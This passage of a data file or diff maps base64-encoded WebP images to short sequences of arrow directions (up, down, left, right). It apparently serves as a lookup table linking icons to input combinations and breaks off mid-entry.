"data:image/webp;base64,UklGRpYDAABXRUJQVlA4TIoDAAAv/8A/AIfiJpIkR6oWcy+t528/qAOzQ4NBJElOdvbJ4AE3SEUUMnLmGEWSJKWqZ5ZbAYbxyBcdx/wHIgBghQTQ+nf49BHxezg2a6AVQHWAFsl61avmDQDQp2e9kCWJgB0kjIek0qwJTT4IJRUJU0yE7BCSYBerRA2w2SupCHE0R7HKxKIaCMy/eH6H33yad8GH+Wdk4BQvTv/S8LAjqUQ4SMiOcaxD6NsdmrV7ut3T7T9eDBKtbU/bRqFygw2UmdkuMzPo/u9mrSP9Jv1jf39E/yG4kaRIclYd96h7joZeoNhP5r/Mf5n/Mv/9W0kD7687tWoRff12g8Nl7H7orshuGcODdv19RVRrO6/vGjCsJdI8ugAAyGqpCLvy9ottJ8l22a6I0uqrBmDm1NKGPJSsbjQpN1Yl0UC88OgMwLLZkiZnyWxZI354dAe81irdbnWI3HaryKuOiVO+MdpaXR6j2Q9fTeXU0tYsflvRoSPfFjXInFqaUJE0IN8dglsLM9t32pxpgdnT6poCsCZP4WZ3tz2jYODaAmB+4w3m/Rnl7IxcXHjSpAjl+0PKk4KVo4vYhKI1gaNrlfLPhRSxW1UUzi5CE8veJM6uR8sa45ydZqEeI5td2uCefc/cv/NSZv5LXspDbtxQonsgmfrRV4z3uKvY149UeKkldnxfsYR4j7tLKPaZuXdECQ9xn3c9lGDm2hHznw9JOO9+2J4xSe4I1q+7vNScet3NrSPs64v2umtZqNx6vGFfX7TX3eVHESVzBG/3Xdi/78b+fVf+77uzn8x/mf8y2nmXEvh481qahkmMXUC+JrCl5DQ4CdZceYGPt8/RNkxi/ErG4V1tQs6Ck6DNN4G5jMHGCSTRORORq1QljuaepCJ/zJwcihyw7hAAfus7bjdbwv6wS/6PO/6Xbjy5tyC86MWys2Q/AW+R4qe0Ec+a6jadkaagEzTbbrZCpTkyJqJoyefUZFNasaY5Mioq0cbpkzX/5owj5UkLsfBzRuCRF+LFOI+mrmz8AxEJtAcWCeViHwD5cqRcbDxKpIl6lrSVm8sTP5jwKD0OJpILRq1Hcdwxa2t+snkW6pmJhcbcoeXvrWIvHcIzI9ZmsMJReRYrjIlcr+IwBZ9sVrEZau3x2Xli7RX41JvHBEWhR7GaccqFI3YjHvMNYMI3boFlOSifny3E84z62aZiP5n/Mv9l/vt3CwA=": [ + "down", + "right", + "down", + "up", + "left", + "right" + ], + "data:image/webp;base64,UklGRlIEAABXRUJQVlA4TEUEAAAv/8A/ADfCtpEkRTtwD/knx+a//R4epMFEkiRFXT0r9/9vO3Rkz+EC20iSnMwcHwT5R0QA2sLGe838R4hEASg0FBKEQNLPlh1k2aI1pgQACAIRACRZEGTJgiTLEWx1sSAgAoAEQCRrTIlDKYIdbMnB1pJXQABAQEDTsGv9977V8xTnucmly2XIpctluK7Pvj7+v3meotSh9V8uQ21T67/apvvOju2lkGjbVts4TjS9y2b6JLFxmkV67z35/2/ySIAB8dL9Hjei/5DYtpEkSWggr13NPT3o6z0g36X/LP3nzxbazIIooqqNIFYA8kswFfnIIVkk5pR89ED+8FOAX3yEMm6flnK2sEryy7gJ945aDWiSg6EHVFljGEj5S90qqL+pUQFXKNUWSRwF/k2FB+T8Gw7/qxLPoXwRmeFGRcoSBWC8S8Yap4nnLVUBIGCOajMBSF+kYZ4Mc7/Eh0XnfFAmEe9oJmiO8FUk1wvpA5v01DtZZc8kaVFVPjGpWmrqkYbHNfUwl9McMjNpe/usAkA5IjJV1CNSauqRhmvQjoiwHhKPiGimHpFffrCcHEP+7y66Vw7+S+LYbXsrdEfK9bktDq4XV89Bi+vF1YPa9yZlak9zt23Y7gxA+w4GXD3thwNw9XDte5PyxNS4vNnOueu5o/3QOOXO0QqY7TWl3X7Tvf1JHre5PmtzzfMOFt81qdrJtTbFfayyPFH5rhvu+x5nYej5aMjYxb7vOm2VxX0NVbfnwneNWfsefcLBhe9zWiFfG143ndcN88hy38D6hjQ7sLCprQtbKLAebMfWPureHmbJ2fbobGEEG1CW+/dy8Rm1vaZYcpS9nS3kbXN8jCZz9BCwA6ip3+ZSrIuR4pVjRIpyt1/mNJMRBlmje1+58d9mdrEeN5ZO8l36zx9iXjj9B5D/yvj8fUlSlnzCJVE5o9+pk3X5D/8x2Yawt/4Xlm+FbF4CePtd5pa3AEAyj7rdj0jmY2uyDB+p5d0TcVqQc14BCAcA/HgqXuJH+H7Jhw/C8iCp/pwMH0IhSKg/Oz4Oco/JY3ftBuL19xztd7lcz76+EfFHRL6yM7TCpOEJ4O7//Jo5fL/RPZtE/Aa5twj3PCLrSdNyIh7efx2+30hvBtiuJ41RB/vT8tivv2sa/Z37oQeX08PMNuYiyD0mj736rabRb7kfkmbr2HjJW+6+9S9v5GVHES7uru2TYP2fXiFOf/8uJE+7KeVhFy7FyTBs/+NI/UnCetHzoDsp8ugjII9aDcn0r4btT439u2Zhy74TkUfSalhdide/Zu9fu3oldH8qVADOTSCx+DGR+9mfAtNUrg1yqHvZnwAHrSnoLT3w7tf97Y88zRDj+qFKfvrjvd+oaOdRhKoAK+M89EdgGvnyOGD/WpyF/uDUYxNd1LaVglz0B52YOT7MDDDzJdnoDzZoQ5g62ET6YMhz6T9/A0K+S4cRAA==": [ + "down", + "left", + "up", + "up" + ], + "data:image/webp;base64,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": [ + "down", + "right", + "down", + "up", + "left", + "left" + ], + "data:image/webp;base64,UklGRrwCAABXRUJQVlA4TK8CAAAv/8A/AAfBsG3bSLYTdPhu1Zn+7y5rsI0kqdHuIjyyIB7y97E1nvpnFEmSop5e8C9rv6RgDdAL72b+A0AHgMIA/NUVgcIoIEreq6uIHwCVYwAL1y8ePKRKIjOGAUIkESkkitas+5QcWVE8hsEJq8aeAMGNJEVSHd/1MuPU7v+feTidXZ25eBPRf0hsGzmSVPbGC9V9qdPW/U1+dP7T+c+1k418enP1pLRQT/VK6Ji+vjw+xGv3gilp9amA7V5UTQm9Rmz3omZKx/QjSrsXtElpFqXdi4qp/UaqXilGTGK0e86c1N9GoLfhToRxH/s7zInxzsyhcUv5uCtC7N/fnp4rYnkk9Htv/al6WJL6u/f+Vs+820ixfuf+dz/GO8gn3fyzr2vfgdO4q659B07j7rr2HTjNu/TPu2tfdzkF1t1Ow3VX+evuJ8C+i/x9N/n7rvL33c+ncxfLo3E6d0N+32FhPJlaSBbyz12e9+due/Nz/9y9df5ztcYHrcN1OkMqnSWNzpRCZ0ufAVJniLRZq3wQJpy3A4m1Q4mzg4mxw4mvA4qtQ4qrxWuQTbl8O/+5plIs7scYRmVo9KP899f9NMM/x0t42ufP+/sLT/v8u1vBv+5aD/jX3esBXndBEOi6G4oA112RBLbujiagdZdEgay7JQuU3HQBkpsumjbCuNHBqJUgHvEmSMkEF3PuzktYDIMGTTOQwwisZsQdbzusiJA4fQUwfTWw99BVeGrUoN5DWeExL/qsChW0DOX/zdZSeDIObiZEpcbsSlRozsZcEXAz7sKjpwhxeezOGsj+Spk8tUw8vFSeSmbejs9Tzz/ecHyezN26I/F58nZGR+LzZO2sjsTnydmZHYnPk7GzOxKfJ18DOhKfJ1UOQwTDAz5PouzGGMa7AnnKj85/Ov+5UmEA": [ + "left", + "down", + "right", + "up", + "left", + "down", + "down" + ], + "data:image/webp;base64,UklGRgIEAABXRUJQVlA4TPYDAAAv/8A/AAfDIJIkJzN7/BOUYBOvuEhng0EkSU52lowKzCEEr0lDvHUcSZKjVM3Mxi04hS9YLj3guWr+AxEAoAWg3gAqBAL5DgqvQI59vmuHY7pRAFVbMAAAf42+CUErBIDSaIsItI1dHERaSktbFOIAqiaJFEAiBQVQC6I4JInmqGoIoqRClAhmuqGOYFTH8vd+0/MOneOv7a+tc7zfdF4P472MuxtPx4deX+JQTYpDCe0gioNIFAdRHEbX3PtP5/hr+2u7ticDRdva09aRCvZQUmZmckP2xTJTxpOovmXS+7+GZUkGRcP+voj+T4Do/d/7v/d/7//GK+OkQjlftGo4iCCA9MlCAeCTVAARBkP/SSNUSGdI2hTFXCuojMm1mJH/xmaJju7QHsod5Zhy7DuYQYcaFm248HQhVc2STy/4bGmWRZqlO1xqxpCDqLT/1Qeoxn7Aq/2liEN6ZmSGWDOqAc2IgHgsoVoowTgCPAOLTIM6/mjCZG2HqsXk2sQzSzPoljXgVj0HEgnViRIJ/XHDItGwDrhLi4+qY1mkfoAFNKhl6WKWFlQdTaaz7vtukWhYB0YWaUHV+WTabTcsoGEt2K/bf/MrlUfJm/u6Cp8sskgA+FSLv0VnP7dAXHoeVIdsstKhoDr4yQIahtTPGzara3f99Evo/frzu8D77eeNwAMQfkXwpX/tDQfxTuBFsQq7QbQWeFG8E3gYK0tRZlBJi0wjg0pZxhoVUmOLLCqNg2phIbSsoxCV13/AJz9wvbuUeaJTdaZV2rFE90lQdPpjC6FlHYVwOEsLdhWZzkTnfzRLdKyhEM7T4n3XvGcq/KjMhV7VeNNd+UCyRDcskVB4c2GW6RY1fBUNvJ0WbBOZ3hZ+VeaxTrn/Iho7lmiDBIV/E7Ms0iQ1nG9O+fAzfm7OZ/Kw8HNhJvR0txQtPPfiq6xL8sU54XFlnFQo96K1Y1m4ohwLz0/NhH7qbtQeIIqZFTQjs5iR8P5bo6TirbOlaPNwEEEA6ctvJb5MBRBhMPRf7//e//9VfPk+cCHgTt/JAVwLtzu5NtiYVwYa7+RhN8pNg+d0Xnvw5N23OSfz5p9eJR6RfAiA19qy1Q7c8ceb+kzviV0AmnctbynF7j17Vw3cK5/0BeZiF1YOLU826MQ6gHvt4TbWT3bbiYvrQBt4sjmv35DMW0S+4XqnrTNv66kjR4818ejxvAvv7VpJvPr3lq35SiS6e2vOlaiBd061g1vzchCAPNWCeWUokBcalwfntd5//YveBMfZxuH0nXxOMgze8KRo51Yo3DkpOr1pD4XTq7rjorn3qk6LFfD3hj1wc0V3tDm77ladWQV6//f+7/3/T3A=": [ + "down", + "down", + "left", + "up", + "right" + ], + "data:image/webp;base64,UklGRooDAABXRUJQVlA4TH4DAAAv/8A/AE/CuG0bSbIy9/RfyH63t8W2wbaRJCnTs3cWqZIcLpHdB8OwbdtIsp2g3/Y3zi10Uxw6/4EIACiLAPLVD7CZsPx1tZTWi7YgvbcgsQAA+aS18vuyzN9iASgDRBKk99ZaudcBEAtSFdq0BdEmBogskVIBmIhMBcHI1DOZqDRl9bdK84/xTf1M/lZf62fiQ/fAEA7G/amKqnjf1/M8DBKtbW/bRE4He0+j7hk6BMKEDUFYGdz/JRVLruXoZ+f7Ivo/AWrp/6X/l/5f+v+vkN+j//zrbhM7P5tfpexIzobSIydD6ZGTG9LjdG0VsiNPxcc18U1vSI8T8XEovon4OBTf7Kr0KL+5+Gbi4z//ZuKbi++q9GbiG0J4E0hvKL0JhDe9Ib01JbzTVdlN11ZlN7mBXFxQkyHycSHNhionF89sfpUqayDu3/+W/v9P/gIYdOOxD60V6q8v1Ivaqo1v2FCvaha2RmLrA1Q+9EQB2oeOdc/Q+uZqC918FESAzoDeQntqVL6C9UysUJUPt9A+UvcKfeR5Jw7CSDqSvn0N1L6nbT9oHzvG08s7Ybeole/t8XkfjKJI3ros6zu/3V8kH6bHVuNKE2rpM9Okdr2d45gjF+yz09HwOZkO2vl0DOw3HgEfc4f8DDzplyy//9vfPdk58tkvPkMIDynLgH//Izk+E99537jgPGqsxce+sDShItMINuJbeQ1gBMCSYtoIC7e//b395fdQfLi2Iz3g9okjmR/OkPskFwFQmjxBomkAZXpVu92qok25WICtd+Qo/EPHVNGmOunSrSJaJZtOmzcPu9Xy/luOAHwM+TJq+a7qzz4BdHqN+yEj1fv9Ais+LT604YKFVoYKSEe9H1MFn8jHxiFiRz6OjCAjHmYUEt2MG30SlosjI3bzySay3cLJiLdCtn0+6UScb3f34f0HuH9PW/rQOneQpmmLZH2RjdWWuvzFp9MoXRcstSowyItxGycqTRfz5uF9PCYf7QLYA6C5oS4O1q8wL2yUo0Gaxz7UkS9V0saRDbb/wCiDNJ/6GJVRYJhFquOYl0Va5YKB3m+0GsmeR6lBWigN90laamQyfayGsOljLaTNKEi78rHH0tI+3JEQtvZRRlo+DsK2cUZajmQYtfgg7VJ8KMWHO68vuMZPAgO2qpBHIiugtswPS8j8yvqgUEv/L/3/F1Q=": [ + "down", + "left", + "up", + "left", + "down" + ], + "data:image/webp;base64,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": [ + "down", + "left", + "right", + "right", + "left" + ], + "data:image/webp;base64,UklGRgACAABXRUJQVlA4TPQBAAAv/8A/ADehKJKkZnfvjvhFQJKGdIRgQ1EkSc3OkuMLB0jDvwYUNZIUde8u1x8FYAX/jkjmPyC6APQRkMeSy2AhySGXgSjljqj7k0AAoI/ZQ4AADhDw9kFEJOEjonOvcbbaFjl4LERyyGWI1Nz3KCDItp22CTMzc7L/PRrEUtHS+z+i/27cRnIkKenooPXuXlALvtF/ov9E/4n+E/0n+k/0n8pvPkL/AVIpY++VrJR7/uSVLJU9ek9trfEfKkz+Q+islbDcOOxcAIDCzREFOcg8uLycH6HlPYRQSiHlPJKr57PHv8Ps9UJW9ftkeOqC9hb1e8eTljVGJ5v6HWe6JkjE9K+qcB9iJyskmf6bkX6aOjYRyQ3YqrCF3ATIDdgZ6CdyZxivqCBY32FDJ7n+ohb05yGwA7RXQBkA2lrWGJ2k+ku1o79kPdhNZy1lB2JbghMHtyC2q63/bqjf5tONtBDS5FRyB0EtZqP9J0P9Fk+6lrTeYM49SoBrTaa6k/32sSBlUzlAowYcCECjDjjabxUD0iT8028Lc9IoKx64TvZbM1mxpFNn+02zTKTdlPzTb3QiQ4qXdOx+v7HfNioLbou90G/g4YKMy6UPBZ7o18sKMA+AXH+GN/o13mAGTOhgtg6cM3XWwTP6T/SfvxBsQgcj+EaHAQ==": [ + "down", + "left", + "up", + "right" + ], + "data:image/webp;base64,UklGRhQEAABXRUJQVlA4TAgEAAAv/8A/AGfiIJIkReqq2WOy+rLfA40Nx5EkOUpnn5ZYg4OYyQ9DiGMcybaNmfPe82cnAdnIQ8Z2cnll/iPhCEJNoaJQCJJqrGzUUGzbDJrnAXS0MwACPhivE0FT6FknPRS/wAZEEDJoMmiCbNiwMX6vCSYYkAH7+1ZDAd33wYaNdShCoW7YqKGAIAOfX9GnAdmAoGUZzfMAen8//LvX5wFZrcMFEq1tT9tGtkJlZnLdcMrcalsZ/93/BXmOpPyS9Y0d0X9HbNs4kjzBBJst2b025dpbwFfpP+XgvKNn/Q09H+fgufjcwE0UxTIlErjJrEKkgJPZPXZkpU1EqQCuJmUI5NxlKOwGnjUi5JHcsaBHZOU2xw1umgSeCuVJYPNC4CPNIXtFb3QEu8U1zBpoFBH2SKqxO9AQeh51NAHzvdYhgh6p1rWmEFN/QE+HtKSYjwU+ovTcQDbwpGQg2dnZWV1eMQgb48Sgb9h44KAGjS0O62CDwx7qVWhjLRygG2pjYBMaexz2hK3+ymHjAq0SYytMwOXG2AgHDHoT8LvgqZ42+iGI+wp6KhJ8pC1j5FPPRCfgp56JBHpS5JOvyN94uYZ+6l0caaaeUfOqM+yRF9iWDDc4YXMztEyC57YiwUcqMsY4qGI/5rDGmjsaVL7FBZ47gZxciwsolpF2RQJHEd1XZIydzCLgEKWZAWfj8yL33I2b8w8Bnrd19LwL9Ii/BVgZvqalfazCZw0+SvPOS9AoIk2BjCLSFsAoIkPBhq0ZCzQszaIgw86sCjCszLLgxP5rB0rm8UKl7lz7xzX6mii8NfZqm7zUdlB/YsRPHsdC+hMjnqob2m2Ab3LsLyfI66B+T6Pymbsgfk9nSl6rJeHU19fsi8Ac4lRkOuXlGMo2qZuHavA440OlhicrxccNiPp5Rhg180xcShB0OA5nhZVmDwEcoen8jpNwHSHo9d3ID5vkLuhH2GPwmiz3XQbnSwhY2N9fcMDVlDBrfjCYF2ZNXY/KpQ3zg/2FYnmZrBxZGSmwZXe1Mtk5YttB/vv7xXHmBvtDGsyZ/0tO5tzx7XtuoNGcza75889fhwLQyM5RR6aG8X902V2xu6ZV/kY1jA5//prr4DcT+1aasPlPNdeGrlVFmDXJlv+to/x9frqx1oL5cLKSaFoZFSmd5t90lL/HHteZRrGUIlW5zoWUcVTI/P2jtz+yenqiKM72tLv747k4S6Kg+XvF9D6TpsOTvy8s7TNqacQHbiHz98bz4kwXCpu/a/r9fXb1++HJ36m370jmM50rfv7O9u1US4ZmcRDyd9C52HeuOW2nIBD58+L8HIf6ALn8fxCM/BkbmMC0wMHiPjgtjs4+PJX+U/rP3xAcoONAwFfpMAI=": [ + "down", + "up", + "right", + "up", + "left", + "right" + ], + "data:image/webp;base64,UklGRkIFAABXRUJQVlA4TDYFAAAv/8A/AIfiKpIkWemuOd79HhjgD+8YQQ4oeLE6XEeyrUTnHNzJgMQJgEQIhU+X9b2XcRtJUrprZu/lRf7hIKIhA7Sa/xBUEgWiQJSKUlEgOUlCnhAg/2yoqKioQECIICB0XJlmGoJpCAgIFRVT0mSYEBBMMy3DZFowGQAhkQTDAYIBwwykV3akV22dHWlV/buwAgtYwI1/qm8jt352dXTvPpmGYNpRXRBe3U2UTnC2YQ4g2Gd43b/fd3wMO4Yd9+837PjNHwNFbdvTtpk2ZcyblTFvXp0xg1Vuk5R7/ofTRLKkOPqc/dD3jeg/BLeNHEn0hEt11xtm0D3hHqDEz6n//uNs7OS/7y6STI8kJTHcS49DUQzJo9Q4JOXwaEhy+ygtbg9JPpKiYjgGMMJ+SvsjjAFQhAJy6MB+uJDZQREMPXCUCkcelMCez/ZRGtz22cv0Lwh7HsMKDl9cUrj0gs0VDa+TCNNEeEFIhU8+58TPZdrXKOuJ2ZZmsY3KUoC1CwxHro1DKiQpmJ7jcC2gQpqC1QuxuNpYIU3BqoqH1YYKYQr8FST3dja2xuDGzt4F0l8wqZBp8ldwZYSxkxFW6C+Qaob/x5ZH8AOW/W0TjTs3mJq8xMsT7/e836ISM6NQENNyuGUx50BiThfo+17It0gBrcRZkdAoDgS0F4sZOSc6r9l1HDQ3SEzrjmOxbTouyyn8+ZWf/J90jx+R/xfJ2e8Sv9/dAcZd8o+7pT/uIv5xt85w3FX+4+4d4LxLBzjv1gHOuwp53n13fXOMTe6GnXfvANdddIDrbjrAdVcd4Lq7DnDdZQe47nZxuu56VtvSwfFlhcvHB3HbqPj3Xch/300HuO9K/vvuhL/vUvr7bjvAfdfy33cv//+d+A8d8XM6OE1ydu1dDN0FUJTFjNprKMFsSdYki+sTVzy52pTzJ3rTTZi4+dFOpcq/L9aTn1+/w4anfgP8sFP5/uoNrJvHAph13kptgVx8mrnv4vvy/640OWgPTTJcD7h3A0APQCaYiobkXbTA75rkHwAk+6GK0nry7l6RAxVtm+JFE6SsyaZ2opj72bK1bMB0508dgPx1e75/zLY693kXmile4neJ/px20rp1+6NhyIqM3L6N2zZDFo0hSQVC9zXvklAFAnZmynB2MpS6MZZkZVnVXKrtYKpd5WtvSky1rZKLvz2efZs3bnvuz6avMbCCpBIfF39GfJX4KD+z4KtZio9/+ZH8O0P6jjczvo9lSwZe2XxDNacsFHpOTOXEKKkWgcdUfXzHneWCNmPTtty+fUN7jt3Px3mnusyXu1q1ehoAIA0LVZ6YtIG0ACrjppqdh6aa8dPNHoD239NBks1tIEn/xvkH+IWU3PMBNxSStNH3Sv2CN1Z7zXnOkORZk3Jb0tM5qzQTtPPKXW+/SXuD/CQpAACQiA4+c5IhpmIrPdDOqqJRWUzxMd5Ae/WX3scvnBXyGRPrY8Ar5f8Bw2sN6SlXL/NT5QkQMsV1Ip1PvilkfTKISxofVFbzPGDE3wLPVV7T+GfPJXybmvCu/73MKhp8jh7cSgSl39uke6lwvdwqUmrYQRkx4IvXszhvHb9IfroV0Z9Hdj31KtJ87VdUw2qWKr9JtrCul+J4n2hRWbkWlc+1iGM6d70HWO7E9WHu6vwyaaTpmZcnBpoZ/kYSg2Q9c80sqxK47+1uCYSDaTWpIzrnJNOdEsywu65+CkL9jypL8m7cMeJiSbbFZDWIPUZO9gUDoHc10eFqyz9K+Jg70gNO/Xfqv1P//Q8YAA==": [ + "down", + "down", + "up", + "left", + "right" + ], + "data:image/webp;base64,UklGRkoGAABXRUJQVlA4TD4GAAAv/8A/ALfiIJIkRerqW//ezgbzPc6MDceNJClST1UPObk+rxV092JqcBxJkhNVLf4bhwFYAC99Ypie/5DQgiZoggdobYIKCMIqVIagOh1och1EAEFQJQiCJgCaVECTmwRAoFKBACgBKgAQBSCAJpqg3MWQAKo8BwFUeYih13KZrpv5v0iJf0YY/hZhER7D9vO3ctx29/NSGRmtMiojo4W/Mtrv/5fRPt+vfp1ltLASVsJK+qsyKtrfSkW7brv1slJ42LZNbZtt21SOpsyU6Ixc5tY+mUHBk0v//79Eh6SRjznm4mv2Y4/o/wRU//f///3/nyG//3zWko+WfNbfW+FDuooV0KWqgx09TR3seNzTdNwt8XuKfreF/5yectwY/nVqvj5uiqN/poawZ5eWDhZNC0zKlNAmOPyCpH4keQirpgNm/SsVxS7YScMOLOsp2IFpSwqKbbCj3w6s+512BeY9oR0N9JtuxUL8STOeMBE1o4UAvNXrbWXlX7T6pTLzMa2OGeoPnf4wFLD/jT7f7Fe21gjGfqfPO2